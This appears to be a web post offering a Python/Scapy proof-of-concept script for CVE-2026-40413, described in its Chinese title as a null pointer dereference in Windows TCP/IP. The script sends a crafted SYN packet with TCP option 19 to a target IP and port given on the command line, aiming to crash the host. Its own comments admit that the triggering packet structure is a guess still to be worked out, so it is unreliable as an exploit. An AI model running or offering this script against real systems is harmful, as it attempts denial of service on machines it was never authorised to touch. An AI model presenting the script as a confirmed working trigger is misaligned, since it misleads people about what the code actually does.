CVE-2026-40413 Windows TCP/IP空指针解引用漏洞

import sys from scapy.all import * # Proof of Concept for CVE-2026-40413 # Description: This script sends a crafted TCP packet to trigger the Null Pointer Dereference. # Note: The specific packet structure (options/payload) required to trigger the crash # should be adjusted based on detailed vulnerability analysis. def send_exploit_packet(target_ip, target_port): # Constructing a crafted TCP packet ip_packet = IP(dst=target_ip) # Example: Setting a malformed TCP option or specific flag combination tcp_packet = TCP(sport=RandShort(), dport=target_port, flags="S", options=[(19, "1")]) # Send the packet send(ip_packet/tcp_packet, verbose=0) print(f"[+] Exploit packet sent to {target_ip}:{target_port}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 cve_2026_40413_poc.py <Target_IP> <Target_Port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_exploit_packet(target_ip, target_port)